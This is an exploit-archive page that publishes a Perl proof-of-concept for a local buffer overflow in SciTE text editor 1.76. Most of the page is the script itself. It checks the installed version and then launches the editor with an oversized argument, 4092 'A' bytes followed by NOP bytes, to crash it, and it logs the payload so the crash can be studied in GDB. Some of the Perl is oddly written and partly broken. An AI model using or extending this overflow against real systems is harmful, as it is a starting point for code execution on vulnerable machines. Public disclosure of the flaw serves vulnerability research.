[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Scite Text Editor v1.76 Local Buffer Overflow (PoC)
# Published : 2010-06-27
# Author : kmkz
# Previous Title : Winamp v5.571 Malicious AVI Denial of Service
# Next Title : MemDb Multiple Remote Dos


# Exploit Title: Scite text editor :Local Buffer Overflow (PoC)
# Date: 28/06/2010
# Author: kmkz
# Version: [Scite 1.76 (lastest version)
# Tested on: Linux 2.6.31-22

# Code : Proof of Concept
#!/usr/bin/perl -wU
# 0-Days PoC (Local BoF Scite 1.76)
use strict;
use diagnostics;
use English '-no_match_vars';

use constant SUCCESS=>(1);
use constant FAILLURE=>(0);
use constant TARGET_BINARY=>("scite");
use constant PAYLOAD=>(`perl -e 'print "A"x4092 . "\x90\x90\x90\x90"'`);
use constant VERSION =>("/usr/share/scite/SciTE.html");


BEGIN:

if(-e VERSION)
{
foreach(VERSION)
{
my @version_checking=($_=~ //);
@version_checking=split(/W/);

next if !($' =~ m/1.76/) || warn ("[*] WARNING: not Scite Version 1.76 \012\012");
}


my $Exploitation=(system( TARGET_BINARY, PAYLOAD));
open (DUMP ,">> Dump_Scite_Local_BoF_PoC.log") or warn("[-] Can't create dump_file\012\015");
printf(DUMP" [+] This PoC generate a .txt document and crash scite exploiting a local Buffer Overflow (just for example) \012\012\015");

printf("%s\012", $Exploitation ) ;

printf(DUMP"[+] Run in GDB for more information (using this payload):\012 %s", PAYLOAD);

close(DUMP);
exit(SUCCESS);
}


else
{
printf("[!] %s : MISSING \012 [!] %s \012\012",VERSION,$!);
exit(FAILLURE);
}